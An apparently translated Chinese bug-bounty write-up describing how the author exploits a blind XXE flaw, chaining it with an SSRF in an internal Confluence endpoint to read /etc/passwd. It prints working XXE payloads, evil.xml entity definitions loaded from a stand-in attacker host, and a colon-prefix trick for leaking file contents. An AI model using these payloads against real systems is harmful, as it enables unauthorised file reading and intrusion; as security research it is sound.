漏洞:Blind XXE
作者:Pieter
难度:高
接下来,我将概述我挖洞时遇到的问题,以及遇到问题时我是怎么处理并解决的,希望这能够帮助大家在今后遇到类似的问题时知道该如何处理!
我关注的重点?
一个简单的XML格式的错误响应信息,以及一个被探测到的404地址引起了我的注意。
当我将请求方法改为POST,并且增加一个请求头 Content-Type: application/xml,再添加了一个XML主体之后,响应消息让我大吃一惊!
继续完善XML主体,当发送完整的XML文档时会产生下面的结果。我们注意到服务器需要认证之后才能进行交互,但是我们完全不知道该认证什么以及在哪里进行认证,所以这里XXE漏洞很难利用
尽管现在发现的漏洞如此鸡肋,但是无论怎样我们都应该尝试一下包含DOCTYPE 定义的外部实体是否可用,如果外部实体没有被完全禁用,那么就还有戏
我紧张的看着我的Burp Collaborator 的结果,非常期待收到来自服务器传递过来的HTTP请求,但是很不幸,并没有得到预期的结果。可以看见服务器解析了我的域名,但是却没有HTTP请求,并且服务器在几秒钟之后就因500错误Timeout了。这似乎是因为防火墙阻止了服务器的出口流量,只有UDP 53端口开放
盲注…
当我尝试访问本地文件和内部网络服务的时候,我得到了一些反馈结果,不过这并没有太大的价值!下面的Response error表示访问的文件存在,并且可以由XML解析器打开和读取,但是该文件的内容不是有效的DTD文档类型,所以解析失败并且报错
当访问不存在的文件时,Response error 响应信息不同,它会提示文件不存在
接下来我们尝试利用这个blind XXE 漏洞做为一个原始的端口扫描器,扫描内网端口。这种类型的bind XXE 类似于SSRF漏洞:你可以生成HTTP请求,但是不能读取响应信息
既然可以扫描端口,我们同样也能检查服务器支持的协议类型,例如:https,gopher,ftp,jar,scp等等。看下图,错误消息中会将用户提供的协议打印出来,这个有点意思,我们暂时记住它以后再说!
现在我们尝试利用Bind XXE访问内部WEB网站,前面测试中我们发现出口流量会被防火墙阻拦,但是内部访问是否同样会被禁止呢?有趣,Response error中的错误信息我们之前也遇到过,那代表着资源已经被读取,但不是XML格式所以出错,这意味着内部网络是可以访问的,防火墙并没有拦截!
1 2 3
| wiki.company.internal jira.company.internal confluence.company.internal
|
柳暗花明?!
代理失败了,原因是在SSL认证中出现任何错误的话,HTTPS流量都将失效!幸运的是,Jira默认也运行在TCP 8080端口上,所以咱们用HTTP协议再来代理看看。当我检查Burp Collaborator时,并没有任何HTTP访问请求,继续宣告代理失败….
出现上面的情况很有可能是管理员已经修复了Jira中的漏洞。最后我已经接近疯狂了,TMD利用个漏洞这么麻烦,我尝试了可能存在的SSRF漏洞,当我在内部网站http://Confluence.company.internal 上尝试用与Jira相同的漏洞时奇迹发生了,代理生效了,终于有HTTP请求啦
[*]攻击者服务器上的evil.xml
1 2
| <!ENTITY % file SYSTEM "file:///"> <!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">
|
[*]burp发送的xml注入语句
1 2 3 4 5 6 7
| <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml"> %ext; %ent; ]> <r>&data;</r>
|
大家注意观察上面我标记的 no protocal,因为读取到的目录内容是 bin boot dev etc home….没有像之前的 gopher://localhost 一样指定任何协议类型,所以显示no protocal,然后将读取到的内容打印出来
但是当我去读取/etc/passwd时,读取到的内容是:
1 2 3 4 5
| root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin […]
|
因为文件内容是以 root:x 开头,所以服务器就会误以为我指定的协议类型是root,于是服务器只是将我指定的协议打印出来了,就像先前打印gopher一样,这就导致我们不能正确读取文件内容
[*]攻击者服务器上的evil.xml
1 2
| <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">
|
通过对比可以发现,当用户指定协议类型时服务端只打印出协议名字;当用户不指定协议类型时,服务端会打印出完整的内容。于是我就想到了一个很简单的绕过方法,仅仅在 %file 前面添加一个 : 就能绕过限制
[*]攻击者服务器上的evil.xml
1 2
| <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
|
打赏译者